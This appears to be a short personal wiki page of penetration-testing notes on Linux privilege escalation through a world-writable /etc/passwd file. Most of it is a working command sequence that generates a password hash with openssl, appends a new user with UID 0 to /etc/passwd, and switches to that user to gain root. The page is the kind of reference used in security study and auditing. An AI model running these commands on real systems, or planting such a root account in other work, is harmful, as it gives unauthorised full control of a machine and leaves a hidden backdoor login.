Wiki : ./Security/Linux/Privilege Escalation/insecure passwd file permissions.md

  • Check permissions on /etc/passwd if it's writable it's possible to use it for privesc.
  • Generating a usable hash for /etc/passwd
  • /etc/passwd takes priority in some distributions
  • Uses the Crypt algorithm
$ openssl passwd hunter2
lTJS0EnBV9DG.
$ echo "whatever:lTJS0EnBV9DG.:0:0:root:/root:/bin/bash" >> /etc/passwd
$ su whatever
i4